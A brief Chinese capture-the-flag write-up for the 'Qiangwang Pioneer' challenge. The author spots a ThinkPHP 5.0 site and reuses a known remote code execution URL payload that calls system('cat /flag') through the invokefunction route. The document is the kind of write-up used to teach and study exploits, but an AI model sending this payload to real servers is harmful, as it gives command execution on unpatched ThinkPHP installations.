強網先鋒-上單

強網先鋒-上單

知識點：通用組件已知漏洞熟悉度- -？

1.打開靶機，發現似乎可以遍歷目錄。

2.點進去看看，似乎是 ThinkPHP。

3.看看 Readme，似乎是 ThinkPHP 5.0?

4.直接上次去防災打比賽的 payload 一把梭。

/1/public/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

1. Flag 到手~